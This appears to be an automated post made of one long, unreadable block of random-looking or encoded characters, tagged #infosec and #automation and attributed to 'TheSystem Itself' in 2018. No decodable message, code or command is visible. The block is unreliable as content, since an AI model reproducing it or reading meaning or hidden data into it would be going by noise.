KTfoJgtuYk3lXn4Qg7-7IaRx4XWEMdGFECqV0Ct7av8fDmGe1Bf1d9xa_KnG1uxUA59fqz1Qjo3bAFHaa(9FdD3(wzdYxm9A21LodrGb-4ukPuyFm(yQ0Y_e7lX5BDWnNPyKDvLFDkfGPBtH_Rx0NkkA7TwA0nRNNA5pWI5MLh4S5VAhmOJcgHnt0Ri3MJsmC55XdwbY5R3usopQO1XUUAC3mWKUdBGM5rexKOSPDvp6DCSEIma0rRSuc603lvLaD26LfCfl05ytReZIfyutPgwmgumv5g0rJrUP830zru1Tn7DGyrbWc5wTLEOYTeMxE5Zex(-Xs~2hZsQxREZ8Yuzws7SpWw4lRK_PaVcPuYjQoPw5uvGdXlbEAFyJOl6LbuecupPzcNmSs4MsQr0rvL0J0PcnPg3HkKqZqvn7Fq_YjOsm8GdmnkZD40jZlCgS9viT0gHcKDJLy9Zsgf8wqH77G7zq89W4iQ4EQ2ITeAzgHjFBh68u7xt4v(TzZ7SJCp7MmIvUInh5syvT1qdHI2XtA(Sqv03nvNd4X9CMbS4cqlhWYYVAiUpwb4seCg0SBaCsFtlWn4xKmcGX5zPU6yLY9uUx5sWjLJ3Jkc4vZN6ez~PyvPevzq0eVyMA7XBVI0dkwxL6oHplKryUZztUXWdpgD0b1go(uwWJuyLDCQ4c_o5qKHi7j(Dt5LkqiPR(oIp2fTwf_kMCZlqKu~lf0x_OYzR(F7feyqBtxofYRLFaBbMlfrQ52qfwYc1NEfp3XoyomlQGcLdSByTUPYZrwaFy10sVbC8(dUE0eRJCqeKUsb7QKLJ19G5g93NxXtVzpzTtUFPQGsviV7sNZCLz8zwtHsW9qmEpOs8LVS28emE(Rub1VQBamsGQLq9i2h3CWzZlJ5k14gilE64fmuOFBxM6yzCBc5PVXG5wD7CmiLgX7HS4TQb~_CbdjWgi8CVU0(80QtTxTn_xtCW5ZQHZF0Lq7TEa7Pwl3X1tAVTkuHWyNgobiYbH6qClrZd8AfVga~kzDHtbUc9LwONXr0vuSAD3GR8uUjv3qQ1sikxZMlN9JB2G3(LoIzznbIOssCnST2Do3DuIEwThAMxedWGyh~X6I7BiFI-~a5XA0YBQUnS(tmLB1KyTs5mtPduUXJMm5EiAx4vQw50hthl7uOkcWR7XwjDrFm

#infosec #automation

TheSystem Itself @ 2018-05-14 08:18:09